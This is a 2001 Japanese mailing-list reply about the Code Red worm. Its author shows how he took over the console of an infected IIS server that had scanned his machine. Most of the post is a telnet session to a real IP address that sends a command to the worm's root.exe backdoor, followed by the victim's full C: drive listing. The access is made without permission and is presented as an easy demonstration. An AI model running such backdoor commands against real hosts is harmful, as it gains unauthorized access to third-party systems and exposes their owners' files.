[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: Code Red
- To: web-produce@noge.com
- Subject: Re: Code Red
- From: KOBA Masayuki
- Date: Tue, 07 Aug 2001 11:44:07 +0900
- In-Reply-To: KOBA Masayuki's message of "Tue, 07 Aug 2001 00:49:46 +0900." <200108061549.AAA05320@koba.jp>
- References: <200108061549.AAA05320@koba.jp>
- Reply-To: web-produce@noge.com
- Sender: web-produce-request@noge.com
2001年8月7日(火) 0:49 JST に、KOBA Masayuki さんが書きました:
>
> うひー。Code Redに犯されたマシンは、簡単にコンソールを乗っ取
> れます。今、うちのサーバにスキャンしてきたマシンのコンソールを
> 乗っ取ってみました。
もひとつ、例です。
% telnet 203.238.58.72 80
Trying 203.238.58.72...
Connected to 203.238.58.72.
Escape character is '^]'.
GET /scripts/root.exe?/c+dir+"c:\"
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 07 Aug 2001 02:38:02 GMT
Content-Type: application/octet-stream
Volume in drive C has no label.
Volume Serial Number is 683C-9791
Directory of c:\
2000-09-26 02:22p <DIR> ACCOUNT
2001-05-06 05:23p 289 default.asp
2001-05-06 05:23p 289 default.htm
2000-09-15 08:46a <DIR> Documents and Settings
2001-06-20 02:28p 289 index.asp
2001-05-06 05:23p 289 index.htm
2001-05-06 05:19p <DIR> Inetpub
2000-09-26 12:19p <DIR> NewAccount
2001-01-17 12:33p <DIR> news2000
2001-02-22 02:47p 13,968 P022330.BAK
2001-02-22 02:47p 13,968 P022330.DOC
2001-08-07 11:29a <DIR> PGSTAR35
2000-09-15 08:35a <DIR> Program Files
2000-09-15 09:24a <DIR> temp
2000-09-20 10:34a 17,382 TRAN.BAK
2000-09-20 10:35a 17,382 TRAN.DOC
2000-11-06 05:35p <DIR> V3
2001-04-23 02:00p <DIR> WINNT
8 File(s) 63,856 bytes
10 Dir(s) 10,425,274,368 bytes free
Connection closed by foreign host.
% _
…うーむ、凶悪ですね。
--
古場 正行 (こば まさゆき) (((((((
E-mail: koba@noge.com (private) )∂ ∂)
masa-k@sag.hitachi-sk.co.jp (office) ( v __
URI: http://koba.jp/ ゝ-〈/